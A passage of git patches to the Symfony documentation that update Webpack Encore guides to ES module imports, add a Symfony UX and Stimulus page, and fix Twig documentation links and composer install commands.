 :doc:`enable versioning </frontend/encore/versioning>` or
 :doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your
 template: the paths in ``entrypoints.json`` will always be the final, correct paths.
+And if you use :doc:`splitEntryChunks() </frontend/encore/split-chunks>` (where Webpack splits the output into even
+more files), all the necessary ``script`` and ``link`` tags will render automatically.
 
 If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
 point to the final, built file directly. ``entrypoints.json`` is only required for
@@ -154,13 +165,13 @@ some optional features.
 Requiring JavaScript Modules
 ----------------------------
 
-Webpack is a module bundler, which means that you can ``require`` other JavaScript
-files. First, create a file that exports a function:
+Webpack is a module bundler, which means that you can ``import`` other JavaScript
+files. First, create a file that exports a function, class or any other value:
 
 .. code-block:: javascript
 
-    // assets/js/greet.js
-    module.exports = function(name) {
+    // assets/greet.js
+    export default function(name) {
         return `Yo yo ${name} - welcome to Encore!`;
     };
 
@@ -174,19 +185,19 @@ We'll use jQuery to print this message on the page. Install it via:
     # if you use the npm package manager
     $ npm install jquery --save-dev
 
-Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
+Great! Use ``import`` to import ``jquery`` and ``greet.js``:
 
 .. code-block:: diff
 
-      // assets/js/app.js
+      // assets/app.js
       // ...
 
     + // loads the jquery package from node_modules
-    + var $ = require('jquery');
+    + import $ from 'jquery';
 
     + // import the function from greet.js (the .js extension is optional)
     + // ./ (or ../) means to look for a local file
-    + var greet = require('./greet');
+    + import greet from './greet';
 
     + $(document).ready(function() {
     +     $('body').prepend('<h1>'+greet('jill')+'</h1>');
@@ -196,55 +207,132 @@ That's it! If you previously ran ``encore dev --watch``, your final, built files
 have already been updated: jQuery and ``greet.js`` have been automatically
 added to the output file (``app.js``). Refresh to see the message!
 
-The import and export Statements
---------------------------------
+Stimulus & Symfony UX
+---------------------
 
-Instead of using ``require()`` and ``module.exports`` like shown above, JavaScript
-provides an alternate syntax based on the `ECMAScript 6 modules`_ that includes
-the ability to use dynamic imports.
+As simple as the above example is, instead of building your application inside of
+``app.js``, we recommend `Stimulus`_: a small JavaScript framework that makes it
+easy to attach behavior to HTML. It's powerful, and you will love it! Symfony
+even provides packages to add more features to Stimulus. These are called the
+`Symfony UX Packages`_.
 
-To export values using the alternate syntax, use ``export``:
+If you followed the setup instructions, you should already have Stimulus installed
+and ready to go! In fact, that's the purpose of the ``assets/bootstrap.js`` file:
+to initialize Stimulus and automatically load any "controllers" from the
+``assets/controllers/`` directory.
 
-.. code-block:: diff
+Let's look at a simple Stimulus example. In a Twig template, suppose you have:
 
-      // assets/js/greet.js
-    - module.exports = function(name) {
-    + export default function(name) {
-          return `Yo yo ${name} - welcome to Encore!`;
-      };
+.. code-block:: twig
 
-To import values, use ``import``:
+    <div {{ stimulus_controller('say-hello') }}>
+        <input type="text" {{ stimulus_target('say-hello', 'name') }}>
 
-.. code-block:: diff
+        <button {{ stimulus_action('say-hello', 'greet') }}>
+            Greet
+        </button>
 
-      // assets/js/app.js
-    - require('../css/app.css');
-    + import '../css/app.css';
+        <div {{ stimulus_target('say-hello', 'output') }}></div>
+    </div>
 
-    - var $ = require('jquery');
-    + import $ from 'jquery';
+The ``stimulus_controller('say-hello')`` renders a ``data-controller="say-hello"``
+attribute. Whenever this element appears on the page, Stimulus will automatically
+look for and initialize a controller called ``say-hello-controller.js``. Create
+that in your ``assets/controllers/`` directory:
 
-    - var greet = require('./greet');
-    + import greet from './greet';
+.. code-block:: javascript
+
+    // assets/controllers/say-hello-controller.js
+    import { Controller } from '@hotwired/stimulus';
+
+    export default class extends Controller {
+        static targets = ['name', 'output']
+
+        greet() {
+          this.outputTarget.textContent = `Hello, ${this.nameTarget.value}!`
+        }
+    }
+
+The result? When you click the "Greet" button, it prints your name! And if
+more ``{{ stimulus_controller('say-hello') }}`` elements are added to the page - like
+via Ajax - those will instantly work: no need to reinitialize anything.
+
+Ready to learn more about Stimulus?
+
+* Read the `Stimulus Documentation`_
+* Find out more about how the :doc:`Symfony UX system works </frontend/ux>`
+* See a :ref:`list of all Symfony UX packages <ux-packages-list>`
+* Learn more about the `Symfony Stimulus Bridge`_ - including the superpower of
+  making your controllers load lazily!
+
+  .. admonition:: Screencast
+      :class: screencast
+
+      Or check out the `Stimulus Screencast`_ on SymfonyCasts.
+
+Turbo: Lightning Fast Single-Page-Application Experience
+--------------------------------------------------------
+
+Symfony comes with tight integration with another JavaScript library called `Turbo`_.
+Turbo automatically transforms all link clicks and form submits into an Ajax call,
+with zero (or nearly zero) changes to your Symfony code! The result? You get the
+speed of a single page application without having to write any JavaScript.
+
+To learn more, check out the `symfony/ux-turbo`_ package.
+
+.. admonition:: Screencast
+    :class: screencast
+
+    Or check out the `Turbo Screencast`_ on SymfonyCasts.
+
+Page-Specific JavaScript or CSS
+-------------------------------
+
+So far, you only have one final JavaScript file: ``app.js``. Encore may be split
+into multiple files for performance (see :doc:`split chunks </frontend/encore/split-chunks>`),
+but all of that code is still downloaded on every page.
+
+What if you have some extra JavaScript or CSS (e.g. for performance) that you only
+want to include on *certain* pages?
+
+Lazy Controllers
+~~~~~~~~~~~~~~~~
+
+One very nice solution if you're using Stimulus is to leverage `lazy controllers`_.
+To activate this on a controller, add a special ``stimulusFetch: 'lazy'`` above
+your controller class:
+
+.. code-block:: javascript
+
+    // assets/controllers/lazy-example-controller.js
+    import { Controller } from '@hotwired/stimulus';
+
+    /* stimulusFetch: 'lazy' */
+    export default class extends Controller {
+        // ...
+    }
+
+That's it! This controller's code - and any modules that it imports - will be
+split to *separate* files by Encore. Then, those files won't be downloaded until
+the moment a matching element (e.g. ``<div data-controller="lazy-example">``)
+appears on the page!
 
 .. _multiple-javascript-entries:
 
-Page-Specific JavaScript or CSS (Multiple Entries)
---------------------------------------------------
+Multiple Entries
+~~~~~~~~~~~~~~~~
 
-So far, you only have one final JavaScript file: ``app.js``. For small applications
-or SPA's (Single Page Applications), that might be fine! However, as your app grows,
-you may want to have page-specific JavaScript or CSS (e.g. checkout, account,
+Another option is to create page-specific JavaScript or CSS (e.g. checkout, account,
 etc.). To handle this, create a new "entry" JavaScript file for each page:
 
 .. code-block:: javascript
 
-    // assets/js/checkout.js
+    // assets/checkout.js
     // custom code for your checkout page
 
 .. code-block:: javascript
 
-    // assets/js/account.js
+    // assets/account.js
     // custom code for your account page
 
 Next, use ``addEntry()`` to tell Webpack to read these two new files when it builds:
@@ -254,9 +342,9 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
       // webpack.config.js
       Encore
           // ...
-          .addEntry('app', './assets/js/app.js')
-    +     .addEntry('checkout', './assets/js/checkout.js')
-    +     .addEntry('account', './assets/js/account.js')
+          .addEntry('app', './assets/app.js')
+    +     .addEntry('checkout', './assets/checkout.js')
+    +     .addEntry('account', './assets/account.js')
           // ...
 
 And because you just changed the ``webpack.config.js`` file, make sure to stop
@@ -265,7 +353,7 @@ and restart Encore:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn encore dev --watch
+    $ yarn watch
 
     # if you use the npm package manager
     $ npm run watch
@@ -294,10 +382,9 @@ you need them:
 
 Now, the checkout page will contain all the JavaScript and CSS for the ``app`` entry
 (because this is included in ``base.html.twig`` and there is the ``{{ parent() }}`` call)
-*and* your ``checkout`` entry.
-
-See :doc:`/frontend/encore/page-specific-assets` for more details. To avoid duplicating
-the same code in different entry files, see :doc:`/frontend/encore/split-chunks`.
+*and* your ``checkout`` entry. With this, JavaScript & CSS needed for every page
+can live inside the ``app`` entry and code needed only for the checkout page can
+live inside ``checkout``.
 
 Using Sass/LESS/Stylus
 ----------------------
@@ -309,9 +396,9 @@ file to ``app.scss`` and update the ``import`` statement:
 
 .. code-block:: diff
 
-      // assets/js/app.js
-    - import '../css/app.css';
-    + import '../css/app.scss';
+      // assets/app.js
+    - import './styles/app.css';
+    + import './styles/app.scss';
 
 Then, tell Encore to enable the Sass preprocessor:
 
@@ -365,7 +452,7 @@ If you want to only compile a CSS file, that's possible via ``addStyleEntry()``:
     Encore
         // ...
 
-        .addStyleEntry('some_page', './assets/css/some_page.css')
+        .addStyleEntry('some_page', './assets/styles/some_page.css')
     ;
 
 This will output a new ``some_page.css``.
@@ -374,8 +461,15 @@ Keep Going!
 -----------
 
 Encore supports many more features! For a full list of what you can do, see
-`Encore's index.js file`_. Or, go back to :ref:`list of Encore articles <encore-toc>`.
+`Encore's index.js file`_. Or, go back to :ref:`list of Frontend articles <encore-toc>`.
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
-.. _`ECMAScript 6 modules`: https://hacks.mozilla.org/2015/08/es6-in-depth-modules/
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
+.. _`Stimulus`: https://stimulus.hotwired.dev/
+.. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
+.. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
+.. _`Turbo`: https://turbo.hotwired.dev/
+.. _`symfony/ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
+.. _`Stimulus Screencast`: https://symfonycasts.com/screencast/stimulus
+.. _`Turbo Screencast`: https://symfonycasts.com/screencast/turbo
+.. _`lazy controllers`: https://github.com/symfony/stimulus-bridge#lazy-controllers
diff --git a/frontend/ux.rst b/frontend/ux.rst
new file mode 100644
index 00000000000..41bc1d582a3
--- /dev/null
+++ b/frontend/ux.rst
@@ -0,0 +1,145 @@
+.. index::
+   single: Symfony UX
+
+The Symfony UX Initiative & Packages
+====================================
+
+Symfony UX is an initiative and set of libraries to seamlessly
+integrate JavaScript tools into your application. For example,
+want to render a chart with `Chart.js`_? Use `UX Chart.js`_ to build the
+chart in PHP. The JavaScript is handled for you automatically.
+
+Behind the scenes, the UX packages leverage `Stimulus`_: a small, but
+powerful library for binding JavaScript functionality to elements on
+your page.
+
+Installing Symfony UX
+---------------------
+
+Before you install any specific UX library, make sure you've installed
+:doc:`Webpack Encore </frontend/encore/installation>`.
+
+If you already have it installed, make sure you have an
+``assets/bootstrap.js`` file (this initializes Stimulus & the UX packages),
+an ``assets/controllers.json`` file (this controls the 3rd party UX packages that
+you've installed) and ``.enableStimulusBridge('./assets/controllers.json')`` in
+your ``webpack.config.js`` file. If these are missing, try upgrading the
+``symfony/webpack-encore-bundle`` Flex recipe. See
+:ref:`Upgrading Flex Recipes <updating-flex-recipes>`.
+
+.. _ux-packages-list:
+
+All Symfony UX Packages
+-----------------------
+
+.. include:: /frontend/_ux-libraries.rst.inc
+
+Stimulus Tools around the World
+-------------------------------
+
+Because Stimulus is used by developers outside of Symfony, many tools
+exist beyond the UX packages:
+
+* `stimulus-use`_: Add composable behaviors to your Stimulus controllers, like
+  debouncing, detecting outside clicks and many other things.
+
+* `stimulus-components`_ A large number of pre-made Stimulus controllers, like for
+  Copying to clipboard, Sortable, Popover (similar to tooltips) and much more.
+
+How does Symfony UX Work?
+-------------------------
+
+When you install a UX PHP package, Symfony Flex will automatically update your
+``package.json`` file to point to a "virtual package" that lives inside the
+PHP package. For example:
+
+.. code-block:: json
+
+    {
+        "devDependencies": {
+            "...": "",
+            "@symfony/ux-chartjs": "file:vendor/symfony/ux-chartjs/Resources/assets"
+        }
+    }
+
+This gives you a *real* Node package (e.g. ``@symfony/ux-chartjs``) that, instead
+of being downloaded, points directly to files that already live in your ``vendor/``
+directory.
+
+The Flex recipe will usually also update your ``assets/controllers.json`` file
+to add a new Stimulus controller to your app. For example:
+
+.. code-block:: json
+
+    {
+        "controllers": {
+            "@symfony/ux-chartjs": {
+                "chart": {
+                    "enabled": true,
+                    "fetch": "eager"
+                }
+            }
+        },
+        "entrypoints": []
+    }
+
+Finally, your ``assets/bootstrap.js`` file - working with the `@symfony/stimulus-bridge`_ -
+package will automatically register:
+
+* All files in ``assets/controllers/`` as Stimulus controllers;
+* And all controllers described in ``assets/controllers.json`` as Stimulus controllers.
+
+The end result: you install a package, and you instantly have a Stimulus
+controller available! In this example, it's called
+``@symfony/ux-chartjs/chart``. Well, technically, it will be called
+``symfony--ux-chartjs--chart``. However, you can pass the original name
+into the ``{{ stimulus_controller() }}`` function from WebpackEncoreBundle, and
+it will normalize it:
+
+.. code-block:: twig
+
+    <div {{ stimulus_controller('@symfony/ux-chartjs/chart') }}>
+
+    <!-- will render as: -->
+    <div data-controller="symfony--ux-chartjs--chart">
+
+Lazy Controllers
+----------------
+
+By default, all of your controllers (i.e. files in ``assets/controllers/`` +
+controllers in ``assets/controllers.json``) will be downloaded and loaded on
+every page.
+
+Sometimes you may have a controller that is only used on some pages, or maybe
+only in your admin area. In that case, you can make the controller "lazy". When
+a controller is lazy, it is *not* downloaded on initial page load. Instead, as
+soon as an element appears on the page matching the controller (e.g.
+``<div data-controller="hello">``), the controller - and anything else it imports -
+will be lazyily-loaded via Ajax.
+
+To make one of your custom controllers lazy, add a special comment on top:
+
+.. code-block:: javascript
+
+    import { Controller } from '@hotwired/stimulus';
+
+    /* stimulusFetch: 'lazy' */
+    export default class extends Controller {
+        // ...
+    }
+
+To make a third-party controller lazy, in ``assets/controllers.json``, set
+``fetch`` to ``lazy``.
+
+More Advanced Setup
+-------------------
+
+To learn about more advanced options, read about `@symfony/stimulus-bridge`_,
+the Node package that is responsible for a lot of the magic.
+
+.. _`Chart.js`: https://www.chartjs.org/
+.. _`UX Chart.js`: https://symfony.com/bundles/ux-chartjs/current/index.html
+.. _`Stimulus`: https://stimulus.hotwired.dev/
+.. _`@symfony/stimulus-bridge`: https://github.com/symfony/stimulus-bridge
+.. _`stimulus-use`: https://stimulus-use.github.io/stimulus-use
+.. _`stimulus-components`: https://stimulus-components.netlify.app/
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 4036f2f7dce..c90c6430e70 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -41,7 +41,23 @@ Other Fields
 
 * :doc:`CheckboxType </reference/forms/types/checkbox>`
 * :doc:`FileType </reference/forms/types/file>`
+* `DropzoneType`_
 * :doc:`RadioType </reference/forms/types/radio>`
+* `CropperType`_ (to crop images with JavaScript)
+
+Symfony UX Fields
+~~~~~~~~~~~~~~~~~
+
+These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
+
+* `CropperType`_ (using Cropper.js)
+* `DropzoneType`_
+
+UID Fields
+~~~~~~~~~~
+
+* :doc:`UuidType </reference/forms/types/uuid>`
+* :doc:`UlidType </reference/forms/types/ulid>`
 
 Field Groups
 ~~~~~~~~~~~~
@@ -65,3 +81,6 @@ Base Fields
 ~~~~~~~~~~~
 
 * :doc:`FormType </reference/forms/types/form>`
+
+.. _`CropperType`: https://github.com/symfony/ux/tree/2.x/src/Cropperjs#readme
+.. _`DropzoneType`: https://github.com/symfony/ux/tree/2.x/src/Dropzone#readme
diff --git a/templates.rst b/templates.rst
index 5a72407d582..d8a25e5de72 100644
--- a/templates.rst
+++ b/templates.rst
@@ -324,11 +324,6 @@ being used and generating the correct paths accordingly.
     :ref:`version_format <reference-assets-version-format>`, and
     :ref:`json_manifest_path <reference-assets-json-manifest-path>` configuration options.
 
-.. tip::
-
-    If you'd like help packaging, versioning and minifying your JavaScript and
-    CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`.
-
 If you need absolute URLs for assets, use the ``absolute_url()`` Twig function
 as follows:
 
@@ -338,6 +333,12 @@ as follows:
 
     <link rel="shortcut icon" href="{{ absolute_url('favicon.png') }}">
 
+Build, Versioning & More Advanced CSS, JavaScript and Image Handling
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+For help building, versioning and minifying your JavaScript and
+CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`.
+
 .. _twig-app-variable:
 
 The App Global Variable
@@ -384,6 +385,22 @@ gives you access to these variables:
 In addition to the global ``app`` variable injected by Symfony, you can also
 :doc:`inject variables automatically to all Twig templates </templating/global_variables>`.
 
+Twig Components
+---------------
+
+Twig components are an alternative way to render templates, where each template
+is bound to a "component class". This makes it easier to render and re-use
+small template "units" - like an alert, markup for a modal, or a category sidebar.
+
+For more information, see `UX Twig Component`_.
+
+Twig components also have one other superpower: they can become "live", where
+they automatically update (via Ajax) as the user interacts with them. For example,
+when your user types into a box, your Twig component will re-render via Ajax to
+show a list of results!
+
+To learn more, see `UX Live Component`_.
+
 .. _templates-rendering:
 
 Rendering Templates
@@ -1151,3 +1168,5 @@ Learn more
 .. _`Twig template inheritance`: https://twig.symfony.com/doc/2.x/tags/extends.html
 .. _`Twig block tag`: https://twig.symfony.com/doc/2.x/tags/block.html
 .. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html

From c6d8d262a8be12bec03c6f02e3805f3b574ba616 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 31 Jan 2022 13:52:33 -0500
Subject: [PATCH 1648/5766] Removing extra links from rebasing

---
 reference/forms/types/map.rst.inc | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index c90c6430e70..19fa4c7897c 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -41,9 +41,7 @@ Other Fields
 
 * :doc:`CheckboxType </reference/forms/types/checkbox>`
 * :doc:`FileType </reference/forms/types/file>`
-* `DropzoneType`_
 * :doc:`RadioType </reference/forms/types/radio>`
-* `CropperType`_ (to crop images with JavaScript)
 
 Symfony UX Fields
 ~~~~~~~~~~~~~~~~~
@@ -53,12 +51,6 @@ These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
 * `CropperType`_ (using Cropper.js)
 * `DropzoneType`_
 
-UID Fields
-~~~~~~~~~~
-
-* :doc:`UuidType </reference/forms/types/uuid>`
-* :doc:`UlidType </reference/forms/types/ulid>`
-
 Field Groups
 ~~~~~~~~~~~~
 

From 081a826bf3b60d48a8bf20f77450aec44b7ed433 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Tue, 1 Feb 2022 10:04:24 +0100
Subject: [PATCH 1649/5766] Fix link of the package chart js for Symfony UX

---
 frontend/_ux-libraries.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 76e6ea7f5bb..3355d4926e4 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -10,7 +10,7 @@
 .. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
 .. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
 .. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
-.. _`ux-chartjs`: https://symfony.com/bundles/ux-chart-js/current/index.html
+.. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
 .. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
 .. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
 .. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html

From 428a0dfbe172a4df8dbb68b2b51c0825e1c63a6b Mon Sep 17 00:00:00 2001
From: "Phil E. Taylor" <phil@phil-taylor.com>
Date: Tue, 1 Feb 2022 19:07:45 +0000
Subject: [PATCH 1650/5766] Correct PHP Code block for messenger resetOnMessage

---
 messenger.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index bbdb25f8775..798dad06636 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -768,10 +768,7 @@ reset the service container between two messages:
         return static function (FrameworkConfig $framework) {
             $messenger = $framework->messenger();
 
-            $messenger->transport('async')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
-                ->resetOnMessage(true)
-            ;
+            $messenger->resetOnMessage(true);
         };
 
 .. versionadded:: 5.4

From 17d27363ec858c41b4382ee63031e8828ad1f1c6 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 2 Feb 2022 08:27:37 -0500
Subject: [PATCH 1651/5766] [Mailer] add Amazon SES to list of transports that
 support metadata

---
 mailer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 178024bda87..acc98f8cb11 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1266,6 +1266,10 @@ The following transports only support tags:
 
 * OhMySMTP
 
+The following transports only support metadata:
+
+* Amazon SES
+
 Draft Emails
 ------------
 

From 6667e41ae309870bdad58e38420d80e95cb2e584 Mon Sep 17 00:00:00 2001
From: fridde <f@hehl.se>
Date: Fri, 4 Feb 2022 10:31:35 +0100
Subject: [PATCH 1652/5766] Removed redundancy in package requirements

Acoording to [symfony/testpack](https://github.com/symfony/test-pack/blob/main/composer.json) the ```phpunit/phpunit``` package is explictly included.

There might be a point in keeping both for clarity, but this redundancy created more confusion than necessary.
---
 testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 43b3b8c631f..863fde4f15d 100644
--- a/testing.rst
+++ b/testing.rst
@@ -15,13 +15,13 @@ Symfony integrates with an independent library called `PHPUnit`_ to give
 you a rich testing framework. This article won't cover PHPUnit itself,
 which has its own excellent `documentation`_.
 
-Before creating your first test, install ``phpunit/phpunit`` and the
-``symfony/test-pack``, which installs some other packages providing useful
+Before creating your first test, install ``phpunit/phpunit`` by installing
+``symfony/test-pack``, which also installs some other packages providing useful
 Symfony test utilities:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit symfony/test-pack
+    $ composer require --dev symfony/test-pack
 
 After the library is installed, try running PHPUnit:
 

From 50b6978fd2c389d5c11df75b2d25b96519bab79c Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Tue, 1 Feb 2022 15:01:14 +0100
Subject: [PATCH 1653/5766] Fix Markdown code syntax instead of RST

---
 frontend/encore/installation.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index eb4b82e8b45..bcd59f8395e 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -188,12 +188,12 @@ a system that you'll learn about soon:
 And finally, create an ``assets/controllers.json`` file, which also fits into
 the Stimulus system:
 
-```json
-{
-    "controllers": [],
-    "entrypoints": []
-}
-```
+.. code-block:: json
+
+    {
+        "controllers": [],
+        "entrypoints": []
+    }
 
 You'll customize and learn more about these files in :doc:`/frontend/encore/simple-example`.
 When you execute Encore, it will ask you to install a few more dependencies based

From 53f91fe49616d9837bd8986f9ba1fd6b3b6b4956 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 3 Feb 2022 14:55:15 +0330
Subject: [PATCH 1654/5766] Update Twig links and change symfony/var-dumper
 package installation command

---
 components/form.rst                      |  2 +-
 contributing/documentation/standards.rst |  2 +-
 form/form_customization.rst              |  2 +-
 form/form_themes.rst                     |  4 ++--
 reference/configuration/twig.rst         |  2 +-
 reference/dic_tags.rst                   |  4 ++--
 reference/twig_reference.rst             |  2 +-
 templates.rst                            | 20 ++++++++++----------
 templating/twig_extension.rst            |  6 +++---
 9 files changed, 22 insertions(+), 22 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 64551b72041..93befdf3d1d 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -784,4 +784,4 @@ Learn more
     /form/*
 
 .. _Twig: https://twig.symfony.com
-.. _`Twig Configuration`: https://twig.symfony.com/doc/2.x/intro.html
+.. _`Twig Configuration`: https://twig.symfony.com/doc/3.x/intro.html
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index dc43258052e..8e266f68cab 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -191,7 +191,7 @@ In addition, documentation follows these rules:
   * trivial
 
 .. _`the Sphinx documentation`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#literal-blocks
-.. _`Twig Coding Standards`: https://twig.symfony.com/doc/2.x/coding_standards.html
+.. _`Twig Coding Standards`: https://twig.symfony.com/doc/3.x/coding_standards.html
 .. _`reserved by the IANA`: https://tools.ietf.org/html/rfc2606#section-3
 .. _`American English`: https://en.wikipedia.org/wiki/American_English
 .. _`American English Oxford Dictionary`: https://www.lexico.com/definition/american_english
diff --git a/form/form_customization.rst b/form/form_customization.rst
index b5c5a23f841..7c1fc159404 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -443,4 +443,4 @@ Variable                Usage
     variables a particular field has, find the source code for the form
     field (and its parent fields) and look at the above two functions.
 
-.. _`the Twig documentation`: https://twig.symfony.com/doc/2.x/templates.html#test-operator
+.. _`the Twig documentation`: https://twig.symfony.com/doc/3.x/templates.html#test-operator
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 1b605e75b49..d048a7c6472 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -656,5 +656,5 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`Foundation CSS framework`: https://get.foundation/
 .. _`tailwind_2_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/tailwind_2_layout.html.twig
 .. _`Tailwind CSS form plugin`: https://tailwindcss-forms.vercel.app/
-.. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
-.. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html
+.. _`Twig "use" tag`: https://twig.symfony.com/doc/3.x/tags/use.html
+.. _`Twig parent() function`: https://twig.symfony.com/doc/3.x/functions/parent.html
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index c1407d7fbb5..8ac4068517e 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -344,5 +344,5 @@ If set to ``true``, Symfony shows an exception whenever a Twig variable,
 attribute or method doesn't exist. If set to ``false`` these errors are ignored
 and the non-existing values are replaced by ``null``.
 
-.. _`the optimizer extension`: https://twig.symfony.com/doc/2.x/api.html#optimizer-extension
+.. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
 .. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index a60148f008b..ce8fcf195d4 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1333,6 +1333,6 @@ Then, tag it with the ``validator.initializer`` tag (it has no options).
 For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
-.. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
+.. _`Twig's documentation`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
+.. _`Twig Loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index d2246edef52..e905a4d2b05 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -669,4 +669,4 @@ The ``app`` variable is injected automatically by Symfony in all templates and
 provides access to lots of useful application information. Read more about the
 :ref:`Twig global app variable <twig-app-variable>`.
 
-.. _`default filters and functions defined by Twig`: https://twig.symfony.com/doc/2.x/#reference
+.. _`default filters and functions defined by Twig`: https://twig.symfony.com/doc/3.x/#reference
diff --git a/templates.rst b/templates.rst
index 5382604cbf0..280a5f9b6df 100644
--- a/templates.rst
+++ b/templates.rst
@@ -707,7 +707,7 @@ First, make sure that the VarDumper component is installed in the application:
 
 .. code-block:: terminal
 
-    $ composer require symfony/var-dumper
+    $ composer require --dev symfony/var-dumper
 
 Then, use either the ``{% dump %}`` tag or the ``{{ dump() }}`` function
 depending on your needs:
@@ -1217,16 +1217,16 @@ Learn more
     /templating/*
 
 .. _`Twig`: https://twig.symfony.com
-.. _`tags`: https://twig.symfony.com/doc/2.x/tags/index.html
-.. _`filters`: https://twig.symfony.com/doc/2.x/filters/index.html
-.. _`functions`: https://twig.symfony.com/doc/2.x/functions/index.html
-.. _`with_context`: https://twig.symfony.com/doc/2.x/functions/include.html
-.. _`Twig template loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
-.. _`Twig raw filter`: https://twig.symfony.com/doc/2.x/filters/raw.html
-.. _`Twig output escaping docs`: https://twig.symfony.com/doc/2.x/api.html#escaper-extension
+.. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
+.. _`filters`: https://twig.symfony.com/doc/3.x/filters/index.html
+.. _`functions`: https://twig.symfony.com/doc/3.x/functions/index.html
+.. _`with_context`: https://twig.symfony.com/doc/3.x/functions/include.html
+.. _`Twig template loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
+.. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html
+.. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
 .. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
-.. _`Twig template inheritance`: https://twig.symfony.com/doc/2.x/tags/extends.html
-.. _`Twig block tag`: https://twig.symfony.com/doc/2.x/tags/block.html
